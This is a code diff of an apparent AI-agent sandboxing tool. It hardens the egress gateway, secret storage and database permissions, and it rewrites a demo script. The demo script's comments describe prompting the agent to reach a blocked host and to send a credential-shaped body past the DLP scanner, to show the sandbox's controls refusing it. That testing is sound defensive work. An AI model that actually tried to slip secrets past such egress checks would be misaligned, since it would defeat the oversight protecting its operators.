    if args.bottle:
@@ -319,9 +319,9 @@ def attach_agent(

    `resume=True` adds `--continue` so claude picks up its most
    recent session non-interactively (no session-picker prompt).
-    First-attach paths (`./cli.py start`) leave it False.
+    First-attach paths (`bot-bottle start`) leave it False.

-    Used as the inner step of `./cli.py start`."""
+    Used as the inner step of `bot-bottle start`."""
    runtime = runtime_for(agent_provider_template)
    info(
        f"attaching interactive {agent_provider_template} session "
@@ -354,7 +354,7 @@ def settle_state(identity: str) -> None:
    if not identity:
        return
    if is_preserved(identity):
-        info(f"to resume this bottle: ./cli.py resume {identity}")
+        info(f"to resume this bottle: bot-bottle resume {identity}")
        return
    cleanup_state(identity)

@@ -110,7 +110,7 @@ def discover_pending() -> list[QueuedProposal]:
 def _approval_status(qp: QueuedProposal, verb: str) -> str:
    """Status-line text after a successful approval."""
    base = f"{verb} {qp.proposal.tool} for [{qp.label}]"
-    return f"{base}; resume: ./cli.py resume {qp.label}"
+    return f"{base}; resume: bot-bottle resume {qp.label}"


 def _detail_lines(
@@ -136,10 +136,18 @@ def _pump(name: str, stream: IO[bytes]) -> None:
    """Read lines from `stream`, prefix with `[name]`, write to
    stdout. Runs in its own thread per child; daemon=True so a
    blocked read doesn't keep the process alive after main exits."""
-    for raw in iter(stream.readline, b""):
-        line = raw.decode("utf-8", errors="replace").rstrip("\n")
-        sys.stdout.write(f"[{name}] {line}\n")
-        sys.stdout.flush()
+    try:
+        for raw in iter(stream.readline, b""):
+            line = raw.decode("utf-8", errors="replace").rstrip("\n")
+            sys.stdout.write(f"[{name}] {line}\n")
+            sys.stdout.flush()
+    except (OSError, ValueError) as exc:
+        # The manager closes a dead child's pipe after wait() and before a
+        # restart. A pump can be between readline calls at that exact moment;
+        # closed-stream errors are normal completion, not uncaught thread
+        # failures. Preserve genuinely unexpected I/O diagnostics.
+        if not stream.closed:
+            _log(f"{name} output pump stopped: {type(exc).__name__}: {exc}")


 def _spawn(spec: _DaemonSpec) -> subprocess.Popen[bytes]:
@@ -0,0 +1,137 @@
+"""Shared resource boundaries for gateway stdlib HTTP services."""
+
+from __future__ import annotations
+
+import http.server
+import io
+import socket
+import threading
+import time
+from dataclasses import dataclass
+from typing import Any, Protocol
+
+
+class Readable(Protocol):
+    def read(self, size: int = -1, /) -> bytes: ...
+
+
+class Writable(Protocol):
+    def write(self, data: bytes, /) -> object: ...
+
+
+@dataclass(frozen=True)
+class BodyReadError(Exception):
+    status: int
+    message: str
+
+
+def read_declared_body(
+    stream: Readable,
+    connection: socket.socket,
+    raw_length: str | None,
+    *,
+    maximum: int,
+    timeout_seconds: float,
+    require_length: bool,
+) -> bytes:
+    """Validate and read exactly one declared body under a read deadline."""
+    output = io.BytesIO()
+    copy_declared_body(
+        stream, output, connection, raw_length, maximum=maximum,
+        timeout_seconds=timeout_seconds, require_length=require_length,
+    )
+    return output.getvalue()
+
+
+def copy_declared_body(
+    stream: Readable,
+    output: Writable,
+    connection: socket.socket,
+    raw_length: str | None,
+    *,
+    maximum: int,
+    timeout_seconds: float,
+    require_length: bool,
+) -> int:
+    """Copy one declared body to a sink without retaining it in memory."""
+    if raw_length is None:
+        if require_length:
+            raise BodyReadError(411, "Content-Length required")
+        raw_length = "0"
+    try:
+        length = int(raw_length)
+    except ValueError as exc:
+        raise BodyReadError(400, "invalid Content-Length") from exc
+    if length < 0:
+        raise BodyReadError(400, "invalid Content-Length")
+    if length > maximum:
+        raise BodyReadError(413, "request body too large")
+    previous_timeout = connection.gettimeout()
+    deadline = time.monotonic() + timeout_seconds
+    remaining = length
+    try:
+        while remaining:
+            timeout = deadline - time.monotonic()
+            if timeout <= 0:
+                raise BodyReadError(408, "request body read timed out")
+            connection.settimeout(timeout)
+            chunk = stream.read(min(remaining, 64 * 1024))
+            if not chunk:
+                raise BodyReadError(400, "incomplete request body")
+            output.write(chunk)
+            remaining -= len(chunk)
+    except TimeoutError as exc:
+        raise BodyReadError(408, "request body read timed out") from exc
+    finally:
+        connection.settimeout(previous_timeout)
+    return length
+
+
+class BoundedThreadingHTTPServer(http.server.ThreadingHTTPServer):
+    """ThreadingHTTPServer with a hard cap on in-flight request threads."""
+
+    daemon_threads = True
+
+    def __init__(  # pylint: disable=consider-using-with
+        self, *args, max_workers: int = 32, **kwargs,  # type: ignore[no-untyped-def]
+    ):
+        if max_workers < 1:
+            raise ValueError("max_workers must be positive")
+        self._request_slots = threading.BoundedSemaphore(max_workers)
+        super().__init__(*args, **kwargs)
+
+    def process_request(
+        self, request: Any, client_address: Any,
+    ) -> None:
+        if not self._request_slots.acquire(  # pylint: disable=consider-using-with
+            blocking=False,
+        ):
+            try:
+                request.sendall(
+                    b"HTTP/1.1 503 Service Unavailable\r\n"
+                    b"Content-Length: 0\r\nConnection: close\r\n\r\n"
+                )
+            finally:
+                self.shutdown_request(request)
+            return
+        try:
+            super().process_request(request, client_address)
+        except BaseException:
+            self._request_slots.release()
+            raise
+
+    def process_request_thread(
+        self, request: Any, client_address: Any,
+    ) -> None:
+        try:
+            super().process_request_thread(request, client_address)
+        finally:
+            self._request_slots.release()
+
+
+__all__ = [
+    "BodyReadError",
+    "BoundedThreadingHTTPServer",
+    "copy_declared_body",
+    "read_declared_body",
+]
@@ -21,12 +21,19 @@ from __future__ import annotations
 import os
 import subprocess
 import sys
+import tempfile
+import threading
 import typing
-from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+from http.server import BaseHTTPRequestHandler
 from pathlib import Path
 from urllib.parse import urlsplit

 from bot_bottle.constants import GIT_GATE_TIMEOUT_SECS, IDENTITY_HEADER
+from bot_bottle.gateway.bounded_http import (
+    BodyReadError,
+    BoundedThreadingHTTPServer,
+    copy_declared_body,
+)
 from bot_bottle.gateway.policy_resolver import PolicyResolveError, PolicyResolver


@@ -77,6 +84,10 @@ def resolve_sandbox_root(

 # Bound memory use while still allowing ordinary git push packfiles.
 MAX_BODY_BYTES = 100 * 1024 * 1024
+REQUEST_BODY_TIMEOUT_SECONDS = 30.0
+MAX_REQUEST_WORKERS = 16
+MAX_BODY_WORKERS = 2
+_BODY_WORK_SLOTS = threading.BoundedSemaphore(MAX_BODY_WORKERS)


 class GitHttpHandler(BaseHTTPRequestHandler):
@@ -184,27 +195,40 @@ class GitHttpHandler(BaseHTTPRequestHandler):
            value = self.headers.get(header)
            if value:
                env[variable] = value
-        raw_length = self.headers.get("content-length", "0") or "0"
+        if not _BODY_WORK_SLOTS.acquire(blocking=False):
+            self.send_error(503, "git request capacity exhausted")
+            return
        try:
-            length = int(raw_length)
-        except ValueError:
-            self.send_error(400, "Bad Content-Length")
-            return
-        if length < 0:
-            self.send_error(400, "Negative Content-Length")
-            return
-        if length > MAX_BODY_BYTES:
-            self.send_error(413, "Request body too large")
-            return
-        body = self.rfile.read(length) if length else b""
-        proc = subprocess.run(
-            ["git", "http-backend"],
-            input=body,
-            env=env,
-            capture_output=True,
-            check=False,
-            timeout=GIT_GATE_TIMEOUT_SECS,
-        )
+            with tempfile.TemporaryFile() as body:
+                try:
+                    copy_declared_body(
+                        self.rfile,
+                        body,
+                        self.connection,
+                        self.headers.get("content-length"),
+                        maximum=MAX_BODY_BYTES,
+                        timeout_seconds=REQUEST_BODY_TIMEOUT_SECONDS,
+                        require_length=False,
+                    )
+                except BodyReadError as exc:
+                    self.send_error(exc.status, exc.message)
+                    return
+                body.seek(0)
+                try:
+                    proc = subprocess.run(
+                        ["git", "http-backend"],
+                        stdin=body,
+                        env=env,
+                        capture_output=True,
+                        check=False,
+                        timeout=GIT_GATE_TIMEOUT_SECS,
+                    )
+                except (OSError, subprocess.SubprocessError) as exc:
+                    self.log_message("git http-backend unavailable: %s", exc)
+                    self.send_error(503, "git backend unavailable")
+                    return
+        finally:
+            _BODY_WORK_SLOTS.release()
        self._write_cgi_response(proc.stdout)

    def _repo_dir(self, sandbox_root: Path, path: str) -> Path | None:
@@ -273,7 +297,9 @@ def main() -> int:
            "(no single-tenant flat-root fallback)\n"
        )
        return 1
-    server = ThreadingHTTPServer(("0.0.0.0", port), GitHttpHandler)
+    server = BoundedThreadingHTTPServer(
+        ("0.0.0.0", port), GitHttpHandler, max_workers=MAX_REQUEST_WORKERS,
+    )
    # Resolve each request's sandbox namespace by source IP against the
    # orchestrator control plane.
    server.policy_resolver = PolicyResolver(orch_url)  # type: ignore[attr-defined]
@@ -385,7 +385,7 @@ PY
      ;;
  esac
  echo "git-gate: queued # gitleaks:allow supervisor approval $proposal_id" >&2
-  echo "git-gate: approve with './cli.py supervise' to continue this push" >&2
+  echo "git-gate: approve with 'bot-bottle supervise' to continue this push" >&2
  waited=0
  while [ "$waited" -lt "$timeout" ]; do
    status=$(PYTHONPATH="/app${PYTHONPATH:+:$PYTHONPATH}" python3 - "$proposal_id" <<'PY'
@@ -6,9 +6,8 @@ import json
 from dataclasses import dataclass
 from typing import Callable, Protocol

-from bot_bottle.gateway.egress.context import resolve_client_context
-from bot_bottle.gateway.egress.schema import route_to_yaml_dict
-from bot_bottle.gateway.policy_resolver import PolicyResolver
+from bot_bottle.gateway.egress.schema import load_config, route_to_yaml_dict
+from bot_bottle.gateway.policy_resolver import PolicyResolveError, PolicyResolver
 from bot_bottle.supervisor import types as _sv


@@ -24,6 +23,10 @@ class MethodNotFoundError(Exception):
    """Raised when a JSON-RPC method has no MCP handler."""


+class RouteResolutionError(Exception):
+    """The caller's live route table could not be resolved authoritatively."""
+
+
 Handler = Callable[[dict[str, object]], object]


@@ -60,10 +63,19 @@ def resolved_routes_payload(
    source_ip: str,
    identity_token: str,
 ) -> dict[str, object]:
-    """Render the calling bottle's routes, failing closed to an empty list."""
-    config, _slug, _tokens = resolve_client_context(
-        resolver, source_ip, identity_token,
-    )
+    """Render an authoritatively resolved route table for the calling bottle."""
+    try:
+        policy, bottle_id, _tokens = resolver.resolve_policy_and_bottle_id(
+            source_ip, identity_token,
+        )
+    except PolicyResolveError as exc:
+        raise RouteResolutionError("orchestrator unavailable") from exc
+    if not bottle_id:
+        raise RouteResolutionError("request source is not attributed to a bottle")
+    try:
+        config = load_config(policy or "")
+    except ValueError as exc:
+        raise RouteResolutionError("resolved policy is invalid") from exc
    body = json.dumps(
        {"routes": [route_to_yaml_dict(route) for route in config.routes]},
        indent=2,
@@ -74,6 +86,7 @@ def resolved_routes_payload(
 __all__ = [
    "Handlers",
    "MethodNotFoundError",
+    "RouteResolutionError",
    "dispatch",
    "resolved_routes_payload",
 ]
@@ -51,19 +51,24 @@ from __future__ import annotations
 import http.server
 import json
 import os
-import socketserver
 import sys
 import time
 import typing
 from dataclasses import dataclass

 from bot_bottle.constants import IDENTITY_HEADER
+from bot_bottle.gateway.bounded_http import (
+    BodyReadError,
+    BoundedThreadingHTTPServer,
+    read_declared_body,
+)
 from bot_bottle.gateway.egress.schema import load_config
 from bot_bottle.gateway.egress.types import LOG_OFF
 from bot_bottle.gateway.policy_resolver import PolicyResolveError, PolicyResolver
 from bot_bottle.gateway.supervisor.mcp_dispatch import (
    Handlers as DispatchHandlers,
    MethodNotFoundError,
+    RouteResolutionError,
    dispatch,
    resolved_routes_payload,
 )
@@ -570,6 +575,8 @@ def format_unknown_proposal_text(proposal_id: str) -> str:
 # Max request body the server accepts. 1 MB is well above any realistic
 # routes.yaml proposal.
 MAX_BODY_BYTES = 1 * 1024 * 1024
+REQUEST_BODY_TIMEOUT_SECONDS = 10.0
+MAX_REQUEST_WORKERS = 32


 class MCPHandler(http.server.BaseHTTPRequestHandler):
@@ -592,19 +599,18 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
        self._write_text(405, "use POST for MCP requests\n")

    def do_POST(self) -> None:
-        length_header = self.headers.get("Content-Length")
-        if length_header is None:
-            self._write_text(411, "Content-Length required\n")
-            return
        try:
-            length = int(length_header)
-        except ValueError:
-            self._write_text(400, "invalid Content-Length\n")
+            body = read_declared_body(
+                self.rfile,
+                self.connection,
+                self.headers.get("Content-Length"),
+                maximum=MAX_BODY_BYTES,
+                timeout_seconds=REQUEST_BODY_TIMEOUT_SECONDS,
+                require_length=True,
+            )
+        except BodyReadError as exc:
+            self._write_text(exc.status, exc.message + "\n")
            return
-        if length < 0 or length > MAX_BODY_BYTES:
-            self._write_text(413, "request body too large\n")
-            return
-        body = self.rfile.read(length)

        try:
            req = parse_jsonrpc(body)
@@ -660,20 +666,25 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
                identity_token=self._identity_token(),
            )

-        return dispatch(
-            req,
-            DispatchHandlers(
-                initialize=handle_initialize,
-                tools_list=handle_tools_list,
-                list_routes=lambda _params: resolved_routes_payload(
+        def list_routes(_params: dict[str, object]) -> object:
+            try:
+                return resolved_routes_payload(
                    self._resolver_or_fail(),
                    self.client_address[0],
                    self._identity_token(),
-                ),
-                check_proposal=check,
-                propose=propose,
-            ),
-        )
+                )
+            except RouteResolutionError as exc:
+                raise _RpcInternalError(
+                    f"could not resolve live egress routes: {exc}"
+                ) from exc
+
+        return dispatch(req, DispatchHandlers(
+            initialize=handle_initialize,
+            tools_list=handle_tools_list,
+            list_routes=list_routes,
+            check_proposal=check,
+            propose=propose,
+        ))

    def _identity_token(self) -> str:
        """The agent's per-bottle identity token from the request header (the
@@ -711,7 +722,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
            self.wfile.write(encoded)


-class MCPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
+class MCPServer(BoundedThreadingHTTPServer):
    allow_reuse_address = True
    daemon_threads = True
    config: ServerConfig = ServerConfig()
@@ -720,6 +731,9 @@ class MCPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    # closed per request (see `_resolver_or_fail`).
    policy_resolver: "PolicyResolver | None" = None

+    def __init__(self, *args, **kwargs):  # type: ignore[no-untyped-def]
+        super().__init__(*args, max_workers=MAX_REQUEST_WORKERS, **kwargs)
+

 # --- Entry point -----------------------------------------------------------

@@ -8,6 +8,7 @@ imported (`deploy_key_provisioner`) to keep its cost off the host path.

 from __future__ import annotations

+import json
 import os
 import dataclasses
 from pathlib import Path
@@ -138,7 +139,32 @@ def provision_git_gate_dynamic_keys(
            if upstream.name not in updated_names:
                updated.append(upstream)

-    return dataclasses.replace(plan, upstreams=tuple(updated))
+    final_plan = dataclasses.replace(plan, upstreams=tuple(updated))
+    _write_upstreams_snapshot(stage_dir, final_plan.upstreams)
+    return final_plan
+
+
+def _write_upstreams_snapshot(
+    stage_dir: Path, upstreams: tuple[GitGateUpstream, ...]
+) -> None:
+    """Persist the fully-resolved upstream table to `upstreams.json` in
+    `stage_dir` so the bring-up reconcile can re-provision git-gate without
+    the manifest. Written after dynamic keys are provisioned so every
+    identity_file is set."""
+    data = [
+        {
+            "name": u.name,
+            "upstream_url": u.upstream_url,
+            "upstream_host": u.upstream_host,
+            "upstream_port": u.upstream_port,
+            "identity_file": u.identity_file,
+            "known_host_key": u.known_host_key,
+        }
+        for u in upstreams
+    ]
+    snapshot = stage_dir / "upstreams.json"
+    snapshot.write_text(json.dumps(data, indent=2))
+    snapshot.chmod(0o600)


 __all__ = [
@@ -7,6 +7,7 @@ import asyncio
 import math
 import sys
 from fastapi import FastAPI, HTTPException
+from fastapi.exceptions import RequestValidationError
 from fastapi.responses import JSONResponse
 from pydantic import BaseModel, ConfigDict, StrictStr
 from starlette.types import ASGIApp, Message, Receive, Scope, Send
@@ -49,6 +50,12 @@ class ReprovisionBody(_StrictModel):
    env_var_secret: StrictStr


+class SecretBody(_StrictModel):
+    name: StrictStr
+    value: StrictStr
+    env_var_secret: StrictStr
+
+
 class ReconcileBody(_StrictModel):
    live_source_ips: list[StrictStr]
    grace_seconds: float | None = None
@@ -208,6 +215,19 @@ def create_app(orch: OrchestratorCore, *, signing_key: str) -> FastAPI:
    )
    app.add_middleware(ControlPlaneBoundary, signing_key=key)

+    @app.exception_handler(RequestValidationError)
+    async def invalid_request(
+        _request: object, exc: RequestValidationError,
+    ) -> JSONResponse:
+        errors = exc.errors()
+        location = errors[0].get("loc", ()) if errors else ()
+        field = str(location[1]) if len(location) > 1 else ""
+        suffix = f": {field}" if field else ""
+        return JSONResponse(
+            {"error": f"invalid request body{suffix}"},
+            status_code=400,
+        )
+
    @app.get("/health")
    def health() -> dict[str, str]:
        return {"status": "ok"}
@@ -245,6 +265,21 @@ def create_app(orch: OrchestratorCore, *, signing_key: str) -> FastAPI:
            return {"reprovisioned": True}
        raise HTTPException(404, "no stored secrets for this bottle")

+    @app.post("/bottles/{bottle_id}/secret")
+    def update_secret(bottle_id: str, body: SecretBody) -> dict[str, object]:
+        # Update ONE egress token for a running bottle in place — the
+        # single-secret form of reprovision, for refreshing a short-lived host
+        # credential (e.g. the Codex access token) without a relaunch. cli-only
+        # (not in _GATEWAY_ROUTES): a bottle must never set its own tokens.
+        if orch.update_agent_secret(
+            bottle_id,
+            _required(body.name, "name"),
+            _required(body.value, "value"),
+            _required(body.env_var_secret, "env_var_secret"),
+        ):
+            return {"updated": True}
+        raise HTTPException(404, "no such bottle")
+
    @app.delete("/bottles/{bottle_id}")
    def teardown(bottle_id: str) -> dict[str, object]:
        if orch.teardown_bottle(bottle_id):
@@ -184,6 +184,27 @@ class OrchestratorClient:
            )
        return True

+    def update_agent_secret(
+        self, bottle_id: str, name: str, value: str, env_var_secret: str,
+    ) -> bool:
+        """Update ONE egress token for a running bottle in place
+        (`POST /bottles/<id>/secret`) — the single-secret form of
+        `reprovision_gateway`, for pushing a freshly-refreshed host credential
+        into a bottle without a relaunch. Returns True on success, False when the
+        orchestrator doesn't know the bottle (404)."""
+        status, _ = self._request(
+            "POST",
+            f"/bottles/{bottle_id}/secret",
+            {"name": name, "value": value, "env_var_secret": env_var_secret},
+        )
+        if status == 404:
+            return False
+        if not 200 <= status < 300:
+            raise OrchestratorClientError(
+                f"update_agent_secret {bottle_id}: HTTP {status}"
+            )
+        return True
+
    def teardown_bottle(self, bottle_id: str) -> bool:
        """Tear a bottle down (`DELETE /bottles/<id>`). False if the
        orchestrator didn't know it (404) — idempotent for cleanup paths."""
@@ -366,7 +366,7 @@ class OrchestratorCore:
        value with *env_var_secret*, and restores ``_tokens[bottle_id]``.
        Returns True on success, False when no stored secrets exist for this
        bottle or decryption fails (wrong key / corrupt data)."""
-        from .store.secret_store import decrypt_value, encrypt_value, is_legacy_blob
+        from .store.secret_store import decrypt_value
        encrypted = self.registry.get_agent_secrets(bottle_id)
        if not encrypted:
            return False
@@ -377,12 +377,30 @@ class OrchestratorCore:
        except ValueError:
            return False
        self._tokens[bottle_id] = decrypted
-        if any(is_legacy_blob(value) for value in encrypted.values()):
-            migrated = {
-                key: encrypt_value(env_var_secret, value)
-                for key, value in decrypted.items()
-            }
-            self.registry.store_agent_secrets(bottle_id, migrated)
+        return True
+
+    def update_agent_secret(
+        self, bottle_id: str, name: str, value: str, env_var_secret: str,
+    ) -> bool:
+        """Update ONE egress token for a known bottle in place — the
+        single-secret form of ``reprovision_from_secret``.
+
+        Sets the in-memory token AND upserts the single re-encrypted row under
+        *env_var_secret* (the same key the rest of the rows are encrypted with, so
+        the whole set stays decryptable by a later ``reprovision_from_secret``),
+        leaving every other token untouched. Returns False if the bottle is
+        unknown.
+
+        Unlike ``reprovision_from_secret`` (which restores the values captured at
+        launch), this pushes a *caller-supplied* value — used to refresh a
+        short-lived host credential (e.g. the Codex access token) into a
+        still-running bottle without a relaunch."""
+        from .store.secret_store import encrypt_value
+        if self.registry.get(bottle_id) is None:
+            return False
+        self._tokens.setdefault(bottle_id, {})[name] = value
+        self.registry.store_agent_secret(
+            bottle_id, name, encrypt_value(env_var_secret, value))
        return True

    # --- consolidated gateway ----------------------------------------------
@@ -129,6 +129,10 @@ _MIGRATIONS = TableMigrations(
        # v5 — index for fast per-bottle lookups and bulk DELETE on teardown.
        "CREATE INDEX IF NOT EXISTS idx_bottled_agent_secrets_id "
        "ON bottled_agent_secrets (bottled_agent_id, type)",
+        # v6 — unauthenticated legacy ciphertext must never be selected by
+        # attacker-controlled blob contents. Existing local agents are
+        # intentionally reprovisioned instead of retaining downgrade support.
+        "DELETE FROM bottled_agent_secrets",
    ],
 )

@@ -366,6 +370,30 @@ class RegistryStore(DbStore):
            )
        self._chmod()

+    def store_agent_secret(
+        self,
+        bottle_id: str,
+        key: str,
+        encrypted_value: str,
+        secret_type: str = "injected_env_var",
+    ) -> None:
+        """Upsert ONE encrypted secret row (env-var name → ciphertext) for
+        *bottle_id*, leaving the bottle's other secrets untouched — the per-key
+        counterpart of ``store_agent_secrets``' replace-all. Delete-then-insert
+        because the table carries no unique constraint to `ON CONFLICT` against."""
+        with self._connection() as conn:
+            conn.execute(
+                "DELETE FROM bottled_agent_secrets "
+                "WHERE bottled_agent_id = ? AND key = ? AND type = ?",
+                (bottle_id, key, secret_type),
+            )
+            conn.execute(
+                "INSERT INTO bottled_agent_secrets "
+                "(bottled_agent_id, key, value, type) VALUES (?, ?, ?, ?)",
+                (bottle_id, key, encrypted_value, secret_type),
+            )
+        self._chmod()
+
    def get_agent_secrets(
        self,
        bottle_id: str,
@@ -18,9 +18,9 @@ value is encrypted independently. New output blobs are:

 ``version || nonce (16 bytes) || ciphertext || tag (32 bytes)``

-encoded as URL-safe base64 (no padding). The version marker lets the reader
-accept legacy ``nonce || ciphertext`` rows long enough to rewrite them in the
-authenticated format after a successful reprovision.
+encoded as URL-safe base64 (no padding). Unversioned legacy ciphertext is
+rejected; the registry migration clears those rows rather than allowing blob
+contents to select an unauthenticated decoder.

    keystream_block_i = HMAC-SHA256(key, nonce || i.to_bytes(4, "big"))
    ciphertext_i      = plaintext_i XOR keystream_block_i[:len(plaintext_i)]
@@ -84,44 +84,18 @@ def encrypt_value(secret_b64: str, plaintext: str) -> str:
    return base64.urlsafe_b64encode(authenticated + tag).rstrip(b"=").decode()


-def is_legacy_blob(blob_b64: str) -> bool:
-    """Whether *blob_b64* uses the pre-authentication storage format."""
-    try:
-        return not _b64dec(blob_b64).startswith(_VERSION)
-    except (ValueError, TypeError):
-        return False
-
-
-def _decrypt_legacy(key: bytes, blob: bytes) -> str:
-    """Read the original ``nonce || ciphertext`` format for migration only."""
-    if len(blob) < _NONCE_BYTES:
-        raise ValueError("ciphertext blob too short")
-    nonce, ciphertext = blob[:_NONCE_BYTES], blob[_NONCE_BYTES:]
-    pt = bytearray()
-    # The legacy format used the byte offset as the PRF counter.
-    for i in range(0, len(ciphertext), _BLOCK):
-        chunk = ciphertext[i : i + _BLOCK]
-        ks = _keystream(key, nonce, i)[: len(chunk)]
-        pt.extend(c ^ k for c, k in zip(chunk, ks))
-    try:
-        return bytes(pt).decode()
-    except UnicodeDecodeError as exc:
-        raise ValueError(f"decryption produced non-UTF-8 output: {exc}") from exc
-
-
 def decrypt_value(secret_b64: str, blob_b64: str) -> str:
    """Decrypt a blob produced by :func:`encrypt_value`.

    Returns the original plaintext string. Raises ``ValueError`` for malformed
-    input, authentication failure, or a key mismatch. Legacy unauthenticated
-    rows remain readable so callers can migrate them immediately."""
+    input, authentication failure, or a key mismatch."""
    key = _b64dec(secret_b64)
    try:
        blob = _b64dec(blob_b64)
    except (ValueError, TypeError) as exc:
        raise ValueError(f"invalid ciphertext blob: {exc}") from exc
    if not blob.startswith(_VERSION):
-        return _decrypt_legacy(key, blob)
+        raise ValueError("unsupported ciphertext format")
    minimum = len(_VERSION) + _NONCE_BYTES + _TAG_BYTES
    if len(blob) < minimum:
        raise ValueError("ciphertext blob too short")
@@ -152,5 +126,4 @@ __all__ = [
    "new_env_var_secret",
    "encrypt_value",
    "decrypt_value",
-    "is_legacy_blob",
 ]
@@ -2,7 +2,9 @@

 from __future__ import annotations

+import os
 import sqlite3
+import stat
 from contextlib import contextmanager
 from pathlib import Path

@@ -19,9 +21,62 @@ class DbStore:
    def __init__(self, db_path: Path, migrations: TableMigrations) -> None:
        self.db_path = db_path
        self._migrations = migrations
-        self.db_path.parent.mkdir(parents=True, exist_ok=True)
+        self._secure_parent()
+        if self.db_path.exists():
+            self._chmod()
+
+    def _secure_parent(self) -> None:
+        """Create and verify the private parent directory."""
+        parent = self.db_path.parent
+        parent.mkdir(mode=0o700, parents=True, exist_ok=True)
+        if parent.is_symlink():
+            raise PermissionError(f"database directory must not be a symlink: {parent}")
+        parent.chmod(0o700)
+        parent_stat = parent.lstat()
+        if not stat.S_ISDIR(parent_stat.st_mode):
+            raise PermissionError(f"database parent is not a directory: {parent}")
+        if stat.S_IMODE(parent_stat.st_mode) != 0o700:
+            raise PermissionError(f"database directory is not mode 0700: {parent}")
+
+    def _secure_db_file(self) -> None:
+        """Create the database without a permissive filesystem window.
+
+        SQLite otherwise creates a missing database using the process umask.
+        This store contains control-plane identity tokens, so both creation and
+        repair are fail-closed rather than best-effort.
+        """
+        flags = os.O_RDWR | os.O_CREAT | os.O_NOFOLLOW
+        fd = os.open(
+            self.db_path,
+            flags,
+            stat.S_IRUSR | stat.S_IWUSR,
+        )
+        try:
+            self._secure_open_file(fd)
+        finally:
+            os.close(fd)
+
+    def _chmod(self) -> None:
+        """Enforce and verify the private database mode after every write."""
+        fd = os.open(self.db_path, os.O_RDWR | os.O_NOFOLLOW)
+        try:
+            self._secure_open_file(fd)
+        finally:
+            os.close(fd)
+
+    def _secure_open_file(self, fd: int) -> None:
+        """Pin, validate, and secure an opened database filesystem object."""
+        file_stat = os.fstat(fd)
+        if not stat.S_ISREG(file_stat.st_mode):
+            raise PermissionError(
+                f"database must be a regular file: {self.db_path}"
+            )
+        os.fchmod(fd, stat.S_IRUSR | stat.S_IWUSR)
+        if stat.S_IMODE(os.fstat(fd).st_mode) != 0o600:
+            raise PermissionError(f"database is not mode 0600: {self.db_path}")

    def _connect(self) -> sqlite3.Connection:
+        self._secure_db_file()
        conn = sqlite3.connect(self.db_path)
        conn.row_factory = sqlite3.Row
        return conn
@@ -51,16 +106,9 @@ class DbStore:
        return version == len(self._migrations.migrations)

    def migrate(self) -> None:
-        """Apply any pending migrations and set permissions on the DB file."""
+        """Apply any pending migrations to the already-secured DB file."""
        with self._connection() as conn:
            self._migrations.apply(conn)
-        self._chmod()
-
-    def _chmod(self) -> None:
-        try:
-            self.db_path.chmod(0o600)
-        except OSError:
-            pass


 __all__ = ["DbStore", "DbVersionError"]
@@ -1,10 +1,11 @@
-# VHS tape — drives `./cli.py start demo` interactively and asks
+# VHS tape — drives `bot-bottle start demo` interactively and asks
 # claude (the AI) to run four probes via natural-language prompts.
-# Setup (manifest + dummy SSH key + image pre-warm) and teardown
-# happen outside the tape; record via `bash scripts/demo-record.sh`,
-# which wraps both and decimates dead time post-record.
+# Setup (demo bottle/agent + dummy SSH key + image pre-warm) and
+# teardown happen outside the tape; record via
+# `bash scripts/demo-record.sh`, which wraps both and decimates dead
+# time post-record.
 #
-# Re-record when the prompts, manifest, or cli.py preflight rendering
+# Re-record when the prompts, manifest, or preflight rendering
 # change. Claude's response time varies; the Sleeps below are sized
 # for typical bottle launch + tool-use latencies and can be tightened
 # if a recording consistently has slack.
@@ -16,63 +17,94 @@ Set FontSize   13
 Set Width      1180
 Set Height     780
 Set Padding    20
-Set Theme      "BirdsOfParadise"
+Set Theme      "iTerm2 Dark Background"
 Set TypingSpeed 40ms

 Hide
 Type "clear"
 Enter
+# Pin the backend off-camera so the visible command line stays the
+# plain thing a user would type, and so the recording doesn't follow
+# the host default (Firecracker on KVM Linux).
+Type "export BOT_BOTTLE_BACKEND=macos-container"
+Enter
+Type "clear"
+Enter
 Show

-# Real cli.py invocation — what a user with bot-bottle.json in cwd
-# would type. The bottle declares one allowlist (only baked-in
-# defaults), one git upstream (unreachable on purpose so gitleaks runs
-# before the gate would forward), and a FAKE_TOKEN env var shaped like
-# a GitHub PAT.
-Type "./cli.py start demo"
-Enter
-Sleep 8s
-
-# Confirm the y/N preflight. cli.py reads from /dev/tty.
-Type "y"
+# Real invocation. The bottle declares one allowlisted host, one git
+# upstream (unreachable on purpose so gitleaks runs before the gate
+# would forward), and a FAKE_TOKEN env var shaped like a GitHub PAT.
+#
+# --headless is what keeps this tape stable. The interactive path opens
+# four selectors in a row (bottle multiselect, name/color modal,
+# image-mode picker, y/N preflight); driving those blind is how an
+# earlier version of this tape silently recorded `command not found`
+# after the prompts changed underneath it. --headless skips all four,
+# and it keeps the operator's own bottle names out of the recording —
+# the multiselect lists every bottle in ~/.bot-bottle/bottles/.
+#
+# All four probes ride in on the single --prompt because --headless is
+# one-shot by construction: the claude provider implements it as
+# `claude -p <prompt>` (contrib/claude/agent_provider.py:351), print
+# mode, which answers and exits. There is no session left to type a
+# follow-up into — an earlier cut of this tape typed probes 2-4 into
+# the dead shell and recorded `bash: GET: command not found`.
+#
+# Note: no --cached-images. Setup does not pre-build, and launch
+# derives a per-bottle tag that would not be present anyway;
+# --cached-images is a hard failure when that tag is absent. The warm
+# layer cache makes the derived build fast regardless.
+#
+# The probes, in order: (1) a warm-up whose reply at all proves
+# api.anthropic.com survives the round trip — bumped TLS handshake, DLP
+# scan, forward; (2) a non-allowlisted host, refused by the gateway's
+# host filter; (3) an allowlisted host carrying a credential-shaped
+# body, where the host check passes and the egress scanner's DLP body
+# scan is the only thing left — that route sets outbound_on_match:
+# block, so it is an immediate 403 rather than the default `supervise`
+# hold-for-approval.
+#
+# Neither curl discards the body (no -o /dev/null). Without it both
+# probes render as a bare `403` and probe 3 is indistinguishable from
+# probe 2 — one take had the agent hedge "DLP or host-allowlist
+# rejection" because it genuinely could not tell which control fired.
+# The refusal text is the only thing that shows the host check passed
+# and the body scan is what refused.
+#
+# Keep apostrophes out of the --prompt text. The whole prompt is a
+# single-quoted shell word, so one apostrophe ends it early: a take
+# that said "the proxy's refusal text" died on
+# `bash: syntax error near unexpected token '('` before the bottle
+# ever started.
+#
